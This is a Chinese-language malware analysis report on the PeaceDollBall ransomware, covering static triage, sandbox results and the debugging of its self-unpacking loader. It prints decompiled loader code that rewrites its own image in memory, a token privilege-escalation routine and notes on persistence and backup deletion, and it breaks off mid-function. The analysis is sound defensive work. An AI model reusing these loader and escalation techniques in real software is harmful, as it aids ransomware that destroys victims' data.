Peacedoorball分析报告
分析报告
具体的分析过程留待后面,此处先将分析的结果理出
MD5:9d3dbe44445624abb04bdb3bdace4fc2
Name:PeaceDollBall
Class:RansomWare
伪装成Bluetooth Usermode Api host程序
恶意行为
运行该病毒后,需要等待一段时间,其会加密计算机上的文件,并在各目录生成带’Recover’的文件和图片,其中是解密说明(要钱)

接着弹出命令执行服务,经典的勒索软件删除备份命令

病毒行为
病毒未进行加壳,但自己实现了一个压缩算法。peacedoolball主体程序不含恶意代码,为病毒的Loader,负责对区段内容进行解密,将节区映射到某些内存地址,然后恢复导入表函数,分配堆空间等。
假设其镜像基址为0x400000,在0x40721B处进行关键跳转,跳转到堆上的一个低位地址0x240000(不固定),堆上的代码负责将代码段地址所在的页面设置为RW,之后清空代码段,0x400000处写入MZ头与PE头并,将真正的恶意代码内容写至代码段,实现恶意代码的投放。
最终在0x240A18的位置通过JMP指令跳转至0x4147F0执行真正的恶意代码,此处也是恶意代码的真正EP。
恶意代码使用Token提权,搜索磁盘设备删除备份并加密,此外会删除自身程序,在Users/Documents下创建一个相同的程序(随机的一个名字,约6个字符)将其设置为隐藏文件并加入自启动。
碎碎念
代码中大量用到C#的函数API,搜索相关内容,经常出现俄语内容,加上peacedoorball的相关信息,这个病毒的作者很可能是毛子。虽然病毒载荷投递的手段不稀奇,但看的出来作者对Windows上的编程很熟悉。没有什么反调试和反虚拟化的检测手段,加上其只是简单的运行程序而没有特别神奇的手段完成驻留、运行等工作。
此外,代码主程序Loader和恶意代码主体部分的代码风格给我一种不协调的感觉,主体部分看得出结构和层次是比较清晰有序的(如下),大量用了COM编程,工程量也很大。而程序主体部分感觉冗余代码还是比较多,且走的是C+指针风格那套,推测两部分代码的作者不同,病毒作者或许是直接将某个恶意程序拿来使用进行二次开发然后嵌入。所以作者的身份应该不是什么国家队,而是黑产从业者。

基础分析
基本信息
rabin2 查看该文件的信息, 过滤了一些输出结果
arch x86
canary false
retguard false
class PE32
compiled Wed Mar 30 01:35:07 2016
crypto false
dbg_file peacedoorball.pdb
endian little
machine i386
nx false
os windows
overlay false
relocs true
static false
stripped false
subsys Windows CUI
va true
拥有名为peacedoorball的pdb文件,搜索了一下,大部分信息都与俄罗斯相关联(Ins,Tg Channel,Steam以及俄语百科),其中俄语百科对peacedoorball的解释比较详细:
谐音pizdobol脏话,常用于迷幻的达达主义帖子里,帖子通常由两到三段文字和一幅(通常少于一幅)图片组成。这些帖子的主题是启示录,混沌魔术,圣经主题,佛教等,例如,对蓝绿色的崇拜。起源是一个IRC机器人。看起来不是什么正常的东西。
尝试用rabin2 -PP下载PDB文件,但是失败了,微软PDB服务器没找到这个文件, 这个PDB服务器不知道地址是什么,推测是上一个分析者/Malware编写者调试时自己搭建了PDB服务器。
看起来没有加密混淆,用DIE检测没有找到壳:
$ diec -d pdb
PE32
linker: Microsoft Linker(8.0 or 11.0)[DLL32,console]
是否有隐藏文件
不知其是否会使用DLL隐藏之类的技术,或者程序里隐藏些啥,先检测看看。
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Microsoft executable, portable (PE)
225786 0x371FA LZMA compressed data, properties: 0x6E, dictionary size: 0 bytes, uncompressed size: 20132923648 bytes
7z,lzip都打不开提取的文件,LZMA压缩仅有518字节,字节数太小了。如果不考虑文件损毁的情况,目前来看存在LZMA压缩的可能性比较小。暂时认为是binwalk误判。
导入导出
Windows的PE文件引入的函数,看里面的API可以对该程序有一个大概的了解,在快速判断是否为恶意程序时也很重要。
[Imports]
nth vaddr bind type lib name
――――――――――――――――――――――――――――――――――――――――――
1 0x00401048 NONE FUNC msvcrt.dll atol
2 0x0040104c NONE FUNC msvcrt.dll sym.imp.public virtual: void __thiscall type_info::~destructor(void)
3 0x00401050 NONE FUNC msvcrt.dll sym.imp.void __cdecl operator delete(void *)
4 0x00401054 NONE FUNC msvcrt.dll memcpy
1 0x0040105c NONE FUNC urlmon.dll RegisterFormatEnumerator
1 0x0040100c NONE FUNC KERNEL32.dll FreeLibrary
2 0x00401010 NONE FUNC KERNEL32.dll GetProcAddress
3 0x00401014 NONE FUNC KERNEL32.dll LocalFree
4 0x00401018 NONE FUNC KERNEL32.dll LocalAlloc
5 0x0040101c NONE FUNC KERNEL32.dll GetUserGeoID
6 0x00401020 NONE FUNC KERNEL32.dll InterlockedExchange
7 0x00401024 NONE FUNC KERNEL32.dll GetConsoleWindow
8 0x00401028 NONE FUNC KERNEL32.dll GetLastError
9 0x0040102c NONE FUNC KERNEL32.dll IsBadStringPtrW
10 0x00401030 NONE FUNC KERNEL32.dll RaiseException
11 0x00401034 NONE FUNC KERNEL32.dll GlobalLock
12 0x00401038 NONE FUNC KERNEL32.dll LoadLibraryA
13 0x0040103c NONE FUNC KERNEL32.dll lstrcmpiW
14 0x00401040 NONE FUNC KERNEL32.dll SwitchToFiber
1 0x00401000 NONE FUNC CLUSAPI.dll GetClusterInformation
2 0x00401004 NONE FUNC CLUSAPI.dll ClusterRegQueryInfoKey
1 0x0040b4cc NONE FUNC USER32.dll ShowWindow
2 0x0040b4d0 NONE FUNC USER32.dll wsprintfA
3 0x0040b4d4 NONE FUNC USER32.dll WindowFromPoint
4 0x0040b4d8 NONE FUNC USER32.dll EnableMenuItem
导出信息为空,毕竟待检查的这个文件不是DLL,一般也不会有导出的需求。直接引用了下面五个DLL:
msvcrt.dll
urlmon.dll
kernel32.dll
clusapi.dll
user32.dll
里面urlmon(URL Moniker相关?)和clusapi(集群相关)使用频率不及另外几个dll,需要重点关注,结合msdn的文档,urlmon中调用的RegisterFormatEnumerator常用于MIME协商中,GetClusterInformation可以用于获取版本信息,ClusterRegQueryInfoKey用于获取Cluster db(HKEY_LOCAL_MACHINE 的一组键值)的一个键值。比较奇怪的是为何要使用GetUserGeoID获取用户的地理位置信息。
结合CountofImports及delayloadhelper等,该PE文件使用了Delay load的技术
Memcpy、LoadLibrary和FreeLibrary虽很常见,但我依旧保留内部藏有DLL的可能性,留个心眼。
段信息
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000400 0x7000 0x00401000 0x7000 -r-x .text
1 0x00007400 0x400 0x00408000 0x1000 -r-x 4227072
2 0x00007800 0x2600 0x00409000 0x5000 -rw- .data
3 0x00009e00 0x16800 0x0040e000 0x17000 -rw- .reloc
4 0x00020600 0xf000 0x00425000 0xf000 -rw- x__NZ
5 0x0002f600 0x7800 0x00434000 0x8000 -rw- P
6 0x00036e00 0x600 0x0043c000 0x39000 -r-- .rsrc
前面检测出的LZMA位于rsrc里,倒是其他有几个段看起来不太一样。查看P节和x__NZ节,都发现汇编代码块,作用未知,故整个文件应该经过了变形。
扔到沙盒里
列出几个关注点:
- 调用了rsaenh.dll
- 会在Documents下生成brayl.exe
- 修改了注册表进行自启动
- 各种网络包信息,都是DGA域名,大部分都死了
逆向分析-Part1
没有找到什么特别好的用于定位的字符串,考虑的思路是两个
- 从entry跟踪进去
- 从DLL中感兴趣的函数的调用处开始分析,用了DealyLoad的机制,这条路走不通了。
目前的entry跳转目标的函数看起来分析不是很大,因此打算两个都尝试一下。entry函数非常直观,不似main函数也不似Windows常见的入口函数
int __usercall entry@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
{
dword_40B4EC = a1;
dword_40B4E4 = a3;
dword_40B4E8 = a2;
return start_next();
}
Entry_next-0x408000
entry中跳转到该地址,代码很乱,一开始我怀疑ghidra的反编译器生成的代码不可靠,不过它实在是太香了.jpg。对照汇编代码来看ghidra生成的伪代码可信度还是挺高的。
对伪代码分析时,首先消去一些不曾被写入/访问的局部变量,并替换一些不曾被写入的局部变量为具体初值,进行计算等。经过简化后去掉了相当多的数据和代码,下面的代码还包括对一些未初始化变量的访问,这两点让我怀疑病毒作者可能直接在汇编层面上对栈进行操作,比如在callee对caller中的栈进行修改之类的。目前的代码中LIB_INVALID猜测是对错误进行处理的代码,或许是assume/except一类的。
uint entry_next(void)
{
undefined4 local_f4 [2];
ushort local_ea;
short local_3a;
local_3a = 0x92c;
local_ea = 0x608;
while( true ) {
FUN_004015d0(local_f4);
if (FUN_004016e0() != 0) {
return 1;
}
if (FUN_004014d0() != 0)
break;
LAB_INVALID:
FUN_00407410(0);
FUN_00407410(-1);
DAT_0040b4e0 = entry;
DAT_0040b4f4 = (undefined *)register0x00000010; // enter entry again
FUN_004013d0(5, 1);
do {
invalidInstructionException();
} while( true );
} // while done
return 1;
}
从汇编中分析,工作量过大且没有什么特别的效果。该函数内还是直接调用了var_236未初始化的内容,并且该数值污染的范围很广。检查了调用约定之类也正常,全都是无参函数?
硬着来分析有些难,先想想其他思路,审视一下function tree,里面entry_next是一个比较核心的函数,而且这左上方的函数之间存在相互调用,反复进入entry的情况。

OD内存断点
看起来直接分析程序走不通,我就考虑对节区下手了。因为节区看起来很可疑,猜测未来代码中会对节区进行访问,于是在内存中下了个访问断点,跑起来之后确实断在某个位置,并且是一个loop。在loop中栈的内容我并不关心,重点看对于全局变量,也就是对ds指向的内存地址的写入操作,并在数据窗口内跟随。
内存窗口中,看到了一个5A4D,MZ头的标识,底下"This cannot be run on dos"这个字符串,结合前面重复进入entry的情况,猜测恶意程序很有可能对代码段进行覆写,或者投递一个新的exe。
尝试捕获样本
前面提到,沙盒内显示其产生过一个bravl.exe,然而我在虚拟机中对应目录没找到,怀疑是被自删除了,于是想要捕获这个样本。将文件夹设定为不可删除,然后运行脚本监视文件创建(之后可以考虑增加这个脚本功能)。
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.IncludeSubdirectories = $true
$watcher.Path = 'C:\Users\whoami\Documents'
$watcher.EnableRaisingEvents = $true
# print info when created
$action =
{
$path = $event.SourceEventArgs.FullPath
$changetype = $event.SourceEventArgs.ChangeType
Write-Host "$path was $changetype at $(get-date)"
}
Register-ObjectEvent $watcher 'Created' -Action $action%
管理员身份运行,确实捕获到了样本创建过程,然而在指定文件夹下依旧找不到,删除限制被绕过了?找了半天才找到显示隐藏文件选项(微软这个设置太不友好了orz),发现了创建的样本。可惜用diff比对后发现,其只是原程序的副本。
radiff2 -xc 1.exe juskip.exe
offset 0 1 2 3 4 5 6 7 01234567 0 1 2 3 4 5 6 7 01234567
0x00000000 4d5a900003000000 MZ...... 4d5a900003000000 MZ......
0x00000008 04000000ffff0000 ........ 04000000ffff0000 ........
...
0
意外发现
没有更多信息的情况下进行debug实在是像无头苍蝇,没有太多进展。最后还是回到了静态分析上,并屈服于IDA了(x)。ghidra对于一些windows C函数的识别较好(比如识别了DelayLoaderHelper),IDA对逻辑理得清晰,且支持调试。在随便点函数的时候,发现了一个readfsdword,可以用于反调试判断、SEH控制或者查DLL之类的。跟着xref回溯上去。向上复原了getTIB、getTEB、getPEB之类的函数
0x4011D0–readfsdword

0x403DC0–getTEB

0x402520–getPEB

追溯到一个功能函数中,位于0x402280,作用是根据基址找到对应Module(DLL)的entry。参数是之后根据调用处的其他信息推断的。

沿着这条线索,回溯到了一个公有的getDLLBase函数,在此函数之上构筑了两个函数,通过硬编码方式获取DLL,就分别称其为DLLA和DLLB,其调用的路径如下。

接下来根据同样的方法,在这几个小函数的调用位置复原了一些信息。继续在函数列表里找一些比较小的函数进行复原。其中0x4064A0这个函数是最早被发现的,原因是其硬编码了一个数值23117(0x5A4D)和17744(0x4550),分别是MZ和PE对应的数值,这个就很明确地指向了PE格式文件,其必定存在于内存中,下面的函数就是对内存地址进行检查。

陆续在其他函数中发现了类似的硬编码数值(pe头/mz头),减轻了不少逆向工作的难度。一边借着Windows文档看结构,一边复原一些函数的参数信息。举个例子,底下是其中一个对节区进行操作的函数,位于0x403450,知道pe头后就对着文档和里面的偏移量对局部变量进行还原。

这个函数位于0x404f40,从PE里读取relocation table的信息,并进行一些修正工作。对于带有PE头参数/偏移量的都可以像下面这样一步步恢复。
int __cdecl fix_relocation(_DWORD *mz_hdr, int relative_addr)
{
unsigned int cnt; // ecx
_WORD *entry; // [esp+64h] [ebp-C0h]
unsigned int entries_num; // [esp+7Ch] [ebp-A8h]
_DWORD *reloc_block; // [esp+84h] [ebp-A0h]
int size_of_relocation_table; // [esp+98h] [ebp-8Ch]
char reloc_result; // [esp+9Fh] [ebp-85h]
char *pe_hdr; // [esp+A0h] [ebp-84h]
int reloc_rva; // [esp+E4h] [ebp-40h]
pe_hdr = check_hdrlimit_getPE(mz_hdr);
if ( pe_hdr )
{
if ( relative_addr )
{
size_of_relocation_table = *((_DWORD *)pe_hdr + 41);
if ( size_of_relocation_table )
{
for ( reloc_block = (_DWORD *)((char *)mz_hdr + *((_DWORD *)pe_hdr + 40));// pe_hdr + (40 * 4) => relocation table
size_of_relocation_table > 0 && reloc_block[1] != 0;// size_of_base_reloc_table > 0 && reloc_block_size != 0
reloc_block = (_DWORD *)((char *)reloc_block + reloc_block[1]) ) // traverse
{
reloc_rva = *reloc_block;
entry = reloc_block + 2;
entries_num = (reloc_block[1] - 8) / 2u;
while ( 1 )
{
cnt = entries_num--;
if ( !cnt )
break;
if ( (unsigned int)(unsigned __int16)*entry >> 12 == 3 )// if reloc_type == IMAGE_BASED_HIGHLOW, common in x86
*(_DWORD *)((char *)mz_hdr + (*entry & 0xFFF) + reloc_rva) += relative_addr;// reloc:
// start: mz_hdr + reloc_rva + reloc_entry_offset += relative_base
++entry;
}
size_of_relocation_table -= reloc_block[1];
}
reloc_result = 1;
}
else
{
reloc_result = 0;
}
}
else
{
reloc_result = 1;
}
}
else
{
reloc_result = 0;
}
return reloc_result & 1;
}
ContextArray
在看整份代码时,总感觉有一个全局变量存在,其存储了不少DLL、页面基址、页面大小、函数之类的信息。在分析一个小函数时又碰到了这样一个结构,于是乎将其命名为ContextArray

在0x405650处,对这个contextArray进行了不少操作,其中有诸如75000、0x147f0(后来发现这是OEP),这类硬编码的数值。
int __cdecl put_to_contextArray(_BYTE *memp, _DWORD *context_p)
{
int v2; // esi
int v3; // edi
int (__stdcall *v4)(_DWORD, int, unsigned int, int); // eax
int siez_of_image; // esi
_DWORD *mz_hdr_copy; // eax
char reloc_result; // al
int v8; // edx
int v9; // ebx
int v10; // ecx
int v11; // esi
unsigned int mask; // [esp+18h] [ebp-84h]
int v14; // [esp+20h] [ebp-7Ch]
int v15; // [esp+24h] [ebp-78h]
char reloc_result_cpy; // [esp+2Ah] [ebp-72h]
unsigned __int8 v17; // [esp+2Bh] [ebp-71h]
int v18; // [esp+2Ch] [ebp-70h]
int v19; // [esp+30h] [ebp-6Ch]
__int16 v20; // [esp+36h] [ebp-66h]
int v21; // [esp+38h] [ebp-64h]
unsigned __int16 v22; // [esp+3Eh] [ebp-5Eh]
int relative_addr; // [esp+40h] [ebp-5Ch]
_DWORD *context_array; // [esp+44h] [ebp-58h]
int v25; // [esp+48h] [ebp-54h]
char *pe_hdr; // [esp+4Ch] [ebp-50h]
_DWORD *mz_hdr_copy2; // [esp+50h] [ebp-4Ch]
int v28; // [esp+54h] [ebp-48h]
unsigned int v29; // [esp+58h] [ebp-44h]
_DWORD *mz_hdr; // [esp+5Ch] [ebp-40h]
_DWORD *memp_cpy; // [esp+60h] [ebp-3Ch]
__int16 v32; // [esp+66h] [ebp-36h]
_DWORD *v33; // [esp+68h] [ebp-34h]
int (__stdcall *fp_which_can_get_mz_hdr)(_DWORD, int, unsigned int, int); // [esp+6Ch] [ebp-30h]
int v35; // [esp+70h] [ebp-2Ch]
char v36; // [esp+75h] [ebp-27h]
__int16 v37; // [esp+76h] [ebp-26h]
__int16 v38; // [esp+86h] [ebp-16h]
int v39; // [esp+88h] [ebp-14h]
v38 = 1471;
v2 = v39;
v39 &= 0x19u;
v36 = -79;
v35 = 29105;
v28 = 32493;
v22 = 10723;
HIWORD(v3) = 0;
context_array = context_p;
memp_cpy = memp;
v4 = (int (__stdcall *)(_DWORD, int, unsigned int, int))context_p[4];
v37 = 28117;
fp_which_can_get_mz_hdr = v4;
v20 = 1471;
v19 = v2;
pe_hdr = check_hdrlimit_getPE(memp);
if ( context_p )
goto LABEL_3;
LABEL_2:
v25 = 29105 - v35; // 0x0
while ( v22 >= 0x4F61u )
{
LABEL_3:
v29 = v35 ^ 0xFFFF31B2; // 0xffff4003
v21 = 82354 - v35; // 0xd001
v37 = v20; // 0xbf
LOWORD(v3) = v20;
siez_of_image = *((_DWORD *)pe_hdr + 20);
mask = v35 + (v35 ^ 0xFFFF31B2) + 24140; // 0x100001000
v18 = v3;
mz_hdr_copy = (_DWORD *)fp_which_can_get_mz_hdr(0, siez_of_image, mask, 29109 - v35);// v6 = (_DWORD *)fp(0, size_of_image, 0x100001000, 0x4)
v37 = 21327 * v18;
mz_hdr = mz_hdr_copy;
v17 = v36 - 90;
cpy_sections(mz_hdr_copy, memp_cpy);
set_Directory_and_get_PE((unsigned __int16 *)mz_hdr);
relative_addr = context_array[13] - *((_DWORD *)pe_hdr + 13);// v23 = v24[13] - imageBase
reloc_result = do_relocation(mz_hdr, relative_addr);
HIWORD(v3) = HIWORD(mz_hdr);
reloc_result_cpy = reloc_result;
v15 = loadDLL_and_FixImportTable((int)mz_hdr, (int)context_array);
pe_hdr = check_hdrlimit_getPE(mz_hdr);
mz_hdr_copy2 = mz_hdr;
v33 = context_array + 8;
v39 = 23360 - v19;
HIBYTE(v32) = v17;
if ( v17 >= (unsigned __int8)(v36 + 9) ) // if (v36-90 >= v36+9)
// goto LABEL_2 seems imposible
goto LABEL_2;
v8 = 113057 - v35; // 0x147f0
v9 = v35 + 450127; // 0x75000
v10 = 29110 - v35; // 0x5
*v33 = mz_hdr_copy2;
v11 = v35 ^ 0x71B1; // 0x71B1 ^ 0x71B1 = 0
v14 = 24;
context_array[9] = v10;
context_array[11] = v8;
v39 = v19 | 0x2FD2;
context_array[12] = v9;
HIWORD(v3) = HIWORD(v14);
context_array[10] = &pe_hdr[v14 + *((unsigned __int16 *)pe_hdr + 10)];// pe_hdr + 24 => optional_hdr_start
// optional_hdr_start + *(pe_hdr + 20) => sectionTableZone
v25 = v11;
}
return v25;
}%
根据搜集到的信息部分还原了一下该结构:
- context_array[2] = mz_hdr
- context_array[4] = function_p_which_can_get_mzhdr return int, (_DWORD, int, unsigned int, int)
- context_array[9] = 0x5
- context_array[10] = section_table_p
- context_array[11] = 0x147f0
- context_array[12] = 0x75000 ? Page Size
- context_array[13] => unknown, but it minors A imageBase, so it might be something like addr
- context_array[14] => size of image ?
在后续调试过程中,特意关注了一下该结构,存了不少敏感信息,这个context里存了好几个敏感函数,特别是VirtualProtect可以用于修改页面权限。这些信息在后面堆代码执行时被使用。

Overview
整体代码流如下,CORE_FUNC1可以说是程序的实际Main函数了,start_next更像是默认生成的入口点函数,而CORE_FUNC负责了主要的处理流程。检查和解析节区,找到内存中PE文件所在的位置,整顿ContextArray等。

图中标记CORE的都是比较长的函数,且在比较上层就调用的函数,对其功能只是推断,并不十分确定。最重要的当属CORE_FUNC1,将在Part2进行分析,其余的暂时就不列在这了。看图就好。
逆向分析-Part2
通过Part1的分析了解到更多信息之后,调试更有针对性。直接把重点放在了CORE_FUNCTION_1上
int __cdecl CORE_FUNCTION_1(int a1)
{
__int16 v1; // bx
int v2; // eax
int v4; // [esp+18h] [ebp-254h]
int v5; // [esp+24h] [ebp-248h]
int v6; // [esp+28h] [ebp-244h]
int v7; // [esp+2Ch] [ebp-240h]
int v8; // [esp+30h] [ebp-23Ch]
bool v9; // [esp+36h] [ebp-236h]
char v10; // [esp+37h] [ebp-235h]
int v11; // [esp+38h] [ebp-234h]
char v12; // [esp+3Fh] [ebp-22Dh]
int v13; // [esp+40h] [ebp-22Ch]
int v14; // [esp+44h] [ebp-228h]
int v15; // [esp+48h] [ebp-224h]
int v16; // [esp+4Ch] [ebp-220h]
int v17; // [esp+50h] [ebp-21Ch]
int v18; // [esp+54h] [ebp-218h]
__int16 v19; // [esp+5Ah] [ebp-212h]
int v20; // [esp+5Ch] [ebp-210h]
int v21; // [esp+60h] [ebp-20Ch]
int v22; // [esp+64h] [ebp-208h]
int v23; // [esp+68h] [ebp-204h]
int v24; // [esp+6Ch] [ebp-200h]
__int64 v25; // [esp+70h] [ebp-1FCh]
unsigned int v26; // [esp+78h] [ebp-1F4h]
unsigned int v27; // [esp+7Ch] [ebp-1F0h]
_BYTE *memp; // [esp+80h] [ebp-1ECh]
__int16 v29; // [esp+86h] [ebp-1E6h]
int v30; // [esp+88h] [ebp-1E4h]
int (__cdecl *v31)(_DWORD); // [esp+8Ch] [ebp-1E0h]
char v32; // [esp+93h] [ebp-1D9h]
char v33; // [esp+94h] [ebp-1D8h]
char v34; // [esp+9Bh] [ebp-1D1h]
char *v35; // [esp+9Ch] [ebp-1D0h]
int (__stdcall *v36)(int, _DWORD, signed int); // [esp+A0h] [ebp-1CCh]
char context_array; // [esp+A4h] [ebp-1C8h]
int (__stdcall *v38)(_DWORD, int, int, int); // [esp+B4h] [ebp-1B8h]
int (__stdcall *v39)(int, _DWORD, signed int); // [esp+200h] [ebp-6Ch]
int v40; // [esp+204h] [ebp-68h]
int v41; // [esp+208h] [ebp-64h]
int v42; // [esp+20Ch] [ebp-60h]
int (__cdecl *v43)(_DWORD); // [esp+210h] [ebp-5Ch]
int v44; // [esp+214h] [ebp-58h]
__int64 v45; // [esp+218h] [ebp-54h]
int (__stdcall *v46)(_DWORD, _DWORD, _DWORD); // [esp+220h] [ebp-4Ch]
int (__cdecl *v47)(int); // [esp+224h] [ebp-48h]
int v48; // [esp+228h] [ebp-44h]
unsigned int i; // [esp+22Ch] [ebp-40h]
int v50; // [esp+230h] [ebp-3Ch]
int (__cdecl *v51)(int); // [esp+234h] [ebp-38h]
int v52; // [esp+238h] [ebp-34h]
char v53; // [esp+23Fh] [ebp-2Dh]
int v54; // [esp+240h] [ebp-2Ch]
int v55; // [esp+244h] [ebp-28h]
__int64 v56; // [esp+248h] [ebp-24h]
__int16 v57; // [esp+252h] [ebp-1Ah]
int v58; // [esp+254h] [ebp-18h]
char v59; // [esp+25Bh] [ebp-11h]
v56 = 8113i64;
v53 = 112;
v52 = 25202;
v42 = 11479;
v45 = 3008i64;
v1 = v57;
v24 = a1;
v23 = 8113;
v57 = ~v57;
v22 = 0;
v21 = -23947;
v27 = 0;
v26 = 16724;
v48 = 14946;
v30 = a1;
v29 = 4279;
v50 = 4104;
v20 = 14946;
v40 = -49149;
v19 = v1;
v18 = 25202;
v41 = 153540646;
v46 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))cnt_sth_in_DLLB_and_call((int)&unk_40B420, 0xEu);
v17 = 9;
v36 = (int (__stdcall *)(int, _DWORD, signed int))cnt_sth_in_DLLB_and_call((int)&unk_40B42F, 9u);
v58 = 10736;
v59 = 0;
do
{
v57 = v19 & 0x19C5;
v39 = v36;
v55 = 0;
v54 = 0;
v16 = v52 ^ 0x926B594;
v15 = v52 ^ 0x629B;
v14 = here_parse_sections(v46, v36, (int *)&memp, &v33);
CORE_FUNCTION_FINDBIN_AND_COPY(&context_array);
v58 = 8532;
v4 = (v52 ^ 0xAD8F) + v40;
v43 = (int (__cdecl *)(_DWORD))v38(0, v50 - 8, v4, v41 - v16);
v2 = put_to_contextArray(memp, &context_array);
v57 = v19 | 0x1004;
v51 = CORE_FUNCTION_MASK_CHECKER;
v31 = v43;
v13 = v2;
if ( *(unsigned __int8 *)CORE_FUNCTION_MASK_CHECKER == v15 )
{
v57 = 13202;
v47 = v51;
if ( v42 == (v52 ^ 0x4D54) )
goto LABEL_6;
v58 = v18 - 29184;
v51 = (int (__cdecl *)(int))((char *)v51 + *(_DWORD *)((char *)v47 + 1) + 25207 - v52);
}
LABEL_5:
v57 = 10830;
v58 = 2 * v18;
for ( i = v52 - 25202; ; i += v52 - 25201 )
{
LABEL_6:
v25 = v56 ^ 0x32C3;
v12 = 0;
v11 = (v56 ^ 0x32C3) - 6699;
v10 = ((unsigned int)v56 ^ 0x32C3) < 0x1A2B;
if ( HIDWORD(v56) )
v10 = v12;
if ( v10 )
{
LABEL_14:
*((_BYTE *)v31 + i) = v34;
continue;
}
if ( i >= (v52 ^ 0x7272u) )
break;
v32 = 63 - v53;
HIBYTE(v44) = 63 - v53;
v35 = (char *)v51 + i;
v9 = (unsigned __int64)(12374 - v56) >> 32 > v27;
v8 = v26 - (12374 - v56);
v7 = ((unsigned __int64)(12374 - v56) >> 32) - v27;
HIBYTE(v6) = v26 < 12374 - (signed int)v56;
if ( (unsigned __int64)(12374 - v56) >> 32 != v27 )
HIBYTE(v6) = v9;
if ( HIBYTE(v6) )
goto LABEL_5;
v34 = *v35;
if ( HIBYTE(v44) > 0x1Au )
goto LABEL_14;
}
v5 = ((unsigned __int64)(v56 + 15979) >> 32) ^ HIDWORD(v45) | (v56 + 15979) ^ v45;
}
while ( v56 + 15979 == v45 );
set_mod_ep_and_getsize(&context_array);
return v43(&context_array);
}%
最后return v43(&context_array)处IDA调试器没法单步执行,跑飞了(吐槽一下,相比IDA,GDB真的太自由了,下一些断点时更舒服)。往回看一下,v43其实是一个函数,调试中得知其为Alloc分配的一个地址,在堆上,由于IDA我实在不知道如何在那里下断点,于是看了下汇编中最后那个return语句对应的地址,在OD中下了断点。
跟踪下去,在0x40721B处发现了关键跳转==>call [esp+0x200],飞到了0x240000上。
dump了该处的内存,放到IDA中解析得到如下结果:
_DWORD *__cdecl sub_A30(_DWORD *dst, _BYTE *src, unsigned int limit_cnt)
{
unsigned int v3; // eax
unsigned int v4; // eax
unsigned int remain; // [esp+28h] [ebp-54h]
unsigned int cnt; // [esp+30h] [ebp-4Ch]
_BYTE *src_mem; // [esp+34h] [ebp-48h]
_DWORD *dst_mem; // [esp+3Ch] [ebp-40h]
src_mem = src;
dst_mem = dst;
cnt = limit_cnt / 4;
remain = limit_cnt % 4;
if ( !src || !dst || !limit_cnt )
return 0;
while ( 1 )
{
v3 = cnt--;
if ( !v3 ) // if v3 == 0
break;
*dst_mem = *(_DWORD *)src_mem; // copy from a2 to a1 as dword
++dst_mem;
src_mem += 4;
}
while ( 1 ) // copy byte by byte
{
v4 = remain--;
if ( !v4 )
break;
*(_BYTE *)dst_mem = *src_mem;
dst_mem = (_DWORD *)((char *)dst_mem + 1);
++src_mem;
}
return dst;
}
这个代码遗失了不少信息,所以我选择看汇编代码,单步调试。堆上代码主要是两部分
- 对原代码段的覆写
- 0x00240267处调用 VirtualProtect(0x400000, 75000, 0x4, 0x18F9E4) 将该处页面修改为RW权限
- at 0x240305,
mov byte ptr ds:[ecx], al(ds:[ecx] 也就是 400000 + ecx) 此处是一个循环,将到0x400FF0的空间清零。 - at 0x2404AB,
mov byte ptr ds:[eax], cl( ds:[eax] -> 400000 + eax ) 第二循环,对0x400000开始的地址进行写入
- 修改内存页面权限,并跳转到OEP(0x4147F0)
- VirtualProtect(0xFFFFD354, 0000, ,0001, 6E0A, )
- VirtualProtect(0x434000, 3C598, ,0004, , ) rw =====> ,P section
- VirtualProtect(0x471000, 1B4, ,0002, , ) readoly
- VirtualProtect(0x472000, 2412, 0002)
- VirtualProtect(0x400000, 400, 0002,)
- 在 0x240A18 处进行关键跳转,
jmp eax跳转到0x4147F0

逆向分析–Part3
在0x4147F0处断下来,然后用LordPE或其他工具Dump下来,并进行Import的修复,由于我们目的是逆向而非破解,所以IAT修复就尽力而为。还原了一个Exe文件,用rabin2看看:
arch x86
baddr 0x400000
bintype pe
bits 32
class PE32
compiled Wed Mar 30 01:35:07 2016
crypto false
havecode true
laddr 0x0
lang c
linenum true
machine i386
overlay false
cc cdecl
pic false
relocs true
static true
stripped false
subsys Windows CUI
va true
确实是个PE文件,这应该就是恶意代码本体,编译于2016年。
工程量比较大,没有特别详细地一个个进行分析,入口点是一个WinMain函数,主要做了下面这些事:
CoPopServiceDomain
CoFileTimeNow
DeleteFileW
StrCmpNIA
SetSystemTime
GetUserDefaultLangID
token_privilege
getDiskSpace
HttpReq
第一遍看没有发现Encrypt的地方,在Debug的时候下在crypt32中应该能捕获这个加密行为,通过调试看其到何时返回用户代码领空应该就能找到调用点了。底下列出的是一些有趣的函数:
0x4154D0用threadPool进行工作,因此怀疑参数中就是主要加密工作/创建文件的线程函数:
PVOID ThreadPool()
{
PVOID v0; // esi
v0 = (PVOID)StartThreadpoolIo(dword_435BA0);
if ( !v0 )
{
v0 = DecodePointer(dword_439418);
SubmitThreadpoolWork(dword_435BA0, v0);
}
return v0;
}
0x410994,Windows7下用Token方式提升自身权限
int __cdecl token_privilege(LPCWSTR lpName)
{
void *v2; // eax
struct _LUID Luid; // [esp+0h] [ebp-24h]
DWORD DesiredAccess; // [esp+8h] [ebp-1Ch]
struct _TOKEN_PRIVILEGES NewState; // [esp+Ch] [ebp-18h]
if ( !LookupPrivilegeValueW(0, lpName, &Luid) )
return 0;
v2 = (void *)GetCurrentActCtx((HANDLE *)0x20028);
if ( !OpenProcessToken(v2, (DWORD)&DesiredAccess, (PHANDLE)Luid.LowPart) )
return 0;
NewState.Privileges[0].Luid = Luid;
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Attributes = 2;
AdjustTokenPrivileges((HANDLE)DesiredAccess, 0, &NewState, 0, 0, 0);
ClosePrivateNamespace(DesiredAccess, Luid.HighPart);
return 1;
}
0x4031A0处,Http相关函数,看起来是个位于上层位置的函数。
void __noreturn HttpRequest()
{
unsigned __int8 *v0; // ecx
unsigned int v1; // esi
char v2; // dl
int v3; // ST1C_4
int v4; // eax
int v5; // edx
int v6; // eax
int v7; // edx
unsigned __int8 *v8; // eax
int v9; // edx
int v10; // edi
int v11; // esi
LPCSTR v12; // edi
void *v13; // esi
void *v14; // edi
int v15; // eax
GEOID v16; // [esp+0h] [ebp-25C0h]
GEOTYPE v17; // [esp+4h] [ebp-25BCh]
CHAR *v18; // [esp+8h] [ebp-25B8h]
